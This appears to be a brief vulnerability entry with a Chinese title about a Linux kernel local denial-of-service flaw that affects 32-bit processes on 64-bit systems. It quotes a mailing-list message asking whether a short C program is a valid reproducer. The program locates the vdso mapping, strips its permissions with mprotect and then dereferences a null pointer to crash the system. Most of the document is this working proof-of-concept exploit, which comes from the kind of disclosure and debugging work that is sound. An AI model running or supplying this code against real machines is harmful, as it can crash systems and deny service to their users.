Linux Kernel 64位系统上32位进程本地拒绝服务漏洞

                                                Would this be a valid reproducer? :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main(){
        FILE *f;
        char line[256];
        void *x,*y;

        f = fopen("/proc/self/maps","r");
        if (!f) exit(1);

        x=y=NULL;
        while (fgets(line,sizeof(line),f)) {
                if (strstr(line,"vdso")) {
                        sscanf(line,"%p-%p ",&x,&y);
                        fprintf(stderr,"vdso %x\n", x);
                        break;
                }
        }
        if (!x) exit(1);

        mprotect(x,4096, PROT_NONE);
        *(char*)NULL = NULL;
}

Ciao, Marcus